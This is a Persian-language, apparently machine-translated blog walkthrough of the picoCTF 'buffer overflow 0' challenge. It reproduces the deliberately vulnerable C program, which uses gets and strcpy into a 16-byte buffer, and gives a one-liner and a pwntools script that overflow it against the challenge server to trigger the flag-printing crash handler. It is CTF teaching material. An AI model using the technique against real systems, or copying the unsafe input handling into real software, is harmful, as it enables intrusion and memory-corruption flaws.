برنامه نویسی

بهره برداری از بافر سرریز 0 گام به گام | پیاده روی picoctf

بررسی اجمالی چالش

نام: سرریز بافر 0
دسته: بهره برداری باینری
آنچه می گیریم:
یک باینری کامپایل شده (vuln)
کد منبع (vuln.c)

شرح تصویر

درک چالش

این چالش به ما یک فایل باینری می دهد (vuln) و کد منبع آن (vuln.c). هدف این است که از یک آسیب پذیری سرریز بافر برای تغییر مقدار متغیر استفاده کرده و برنامه را نشان دهد که پرچم را نشان می دهد. سرگرم کننده به نظر می رسد ، درست است؟ بیایید شروع کنیم!

درک کد

ابتدا بیایید نگاهی به کد منبع بیندازیم تا ببینیم با چه چیزی سر و کار داریم:


#include 
#include 
#include 
#include 

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){

  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

حالت تمام صفحه را وارد کنید

از حالت تمام صفحه خارج شوید

اینجا چه اتفاقی می افتد؟

1. آسیب پذیری سرریز بافر:
عملکرد VULN دارای بافر است (buf2) این تنها 16 بایت است. برنامه استفاده می کند strcpy برای کپی کردن ورودی کاربر در این بافر ، اما طول ورودی را بررسی نمی کند. این بدان معناست که اگر بیش از 16 بایت به آن بدهیم ، می توانیم قسمت های دیگر حافظه را بازنویسی کنیم!

2. کنترل کننده سیگنال:
اگر یک گسل تقسیم بندی رخ دهد (به عنوان مثال ، به دلیل سرریز بافر) ، sigsegv_handler عملکرد شروع می شود ، که پرچم را چاپ می کند.

3. ورودی کاربر:
عملکرد اصلی با استفاده از ورودی کاربر را می خواند gets، که بسیار ناامن است زیرا میزان ورودی را محدود نمی کند. این ورودی سپس به vuln عملکرد.

4. غذای اصلی:
این برنامه پرچم را از آن می خواند flag.txt و آن را در یک پرچم متغیر جهانی ذخیره می کند.
در gets(buf1)؛ عملکرد استفاده می شود ، که خطرناک است زیرا طول ورودی را بررسی نمی کند.
تابع vuln() کاربردهای strcpy(buf2, input);، که از آن زمان می تواند منجر به سرریز بافر شود buf2 فقط 16 بایت طول دارد.
اگر خطای تقسیم بندی را ایجاد کنیم (SIGSEGV)، کنترل کننده پرچم را چاپ می کند!

طرح استثمار

برای حل این چالش ، ما باید:

  1. بافر را سرریز کنید: برای ایجاد سرریز بافر بیش از 16 بایت ورودی ارسال کنید.

  2. خطای تقسیم بندی را تحریک کنید: سرریز باعث خراب شدن برنامه می شود و باعث می شود sigsegv_handler و چاپ پرچم.

ما می توانیم از باینری داده شده استفاده کنیم و یک ورودی بزرگ را برای ایجاد گسل تقسیم بندی و نشت پرچم فراهم کنیم:

python3 -c 'print("A" * 32)' | ./vuln
حالت تمام صفحه را وارد کنید

از حالت تمام صفحه خارج شوید

یا می توانیم از سرور از راه دور داده شده به شرح زیر نیز استفاده کنیم.

مرحله 1: ایجاد بار

ما باید ورودی ارسال کنیم که:

در پایتون ، ما می توانیم این بار را مانند این ایجاد کنیم:

payload = b"A" * 32  # More than enough to overflow the buffer
حالت تمام صفحه را وارد کنید

از حالت تمام صفحه خارج شوید

این اتفاق می افتد:

b"A" * 32: 32 بایت نامه را ارسال می کند Aبشر این روش بیش از 16 بایت است که بافر می تواند نگه دارد ، بنابراین سرریز می شود و باعث تصادف می شود.

مرحله 2: بار را ارسال کنید

ما از اسکریپت پایتون برای ارسال بار خود به سرور از راه دور استفاده خواهیم کرد. این فیلمنامه است:

from pwn import *

# Connect to the challenge server
conn = remote('saturn.picoctf.net', 51086)

# Creating the payload
payload = b"A" * 32

# Send the payload
conn.sendline(payload)

# Receive the flag
print(conn.recvall().decode())

حالت تمام صفحه را وارد کنید

از حالت تمام صفحه خارج شوید

این اسکریپت چه کاری انجام می دهد؟

  1. اتصال به سرور:
    در remote عملکرد به چالش متصل می شود server at saturn.picoctf.net در بندر 51086بشر

  2. ارسال بار بار:
    در sendline عملکرد بار ساخته شده ما را به سرور ارسال می کند.

  3. دریافت پرچم:
    در recvall عملکرد پاسخ سرور را می گیرد ، که باید شامل پرچم باشد.

مرحله 3: فیلمنامه را اجرا کنید

فیلمنامه را به عنوان ذخیره کنید exploit.py و آن را اجرا کنید:

python3 exploit.py
حالت تمام صفحه را وارد کنید

از حالت تمام صفحه خارج شوید

اگر همه چیز به درستی کار کند ، پرچم چاپ شده روی صفحه خود را مشاهده خواهید کرد! 🎉

چه اتفاقی افتاد؟

هنگامی که ما بیش از 16 بایت ورودی را ارسال می کنیم ، داده های اضافی سرریز می کنند buf2 حافظه برنامه را بافر و خراب می کند. این باعث یک گسل تقسیم بندی می شود ، که باعث می شود sigsegv_handler عملکرد. سپس کنترل کننده پرچم را برای ما چاپ می کند.

افکار نهایی

این چالش یک روش عالی برای یادگیری در مورد سرریز بافر و چگونگی سوءاستفاده از آنها برای دستکاری در رفتار یک برنامه است. با ایجاد تصادف ، می توانیم یک کنترل کننده سیگنال را ایجاد کنیم که پرچم را آشکار می کند. پس از درک اصول اولیه ، می توانید با چالش های پیشرفته تری مقابله کنید!

پرچم 🙂 پرچم 🙂 picoCTF{...} (هنگام اجرای بهره برداری ، پرچم واقعی را خواهید دید!)

هک شدن مبارک! 😄 اگر سؤالی دارید یا به موضوعی رسیدگی می کنید ، احساس راحتی کنید. موفق باشید با بقیه Picoctf! 🚀

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا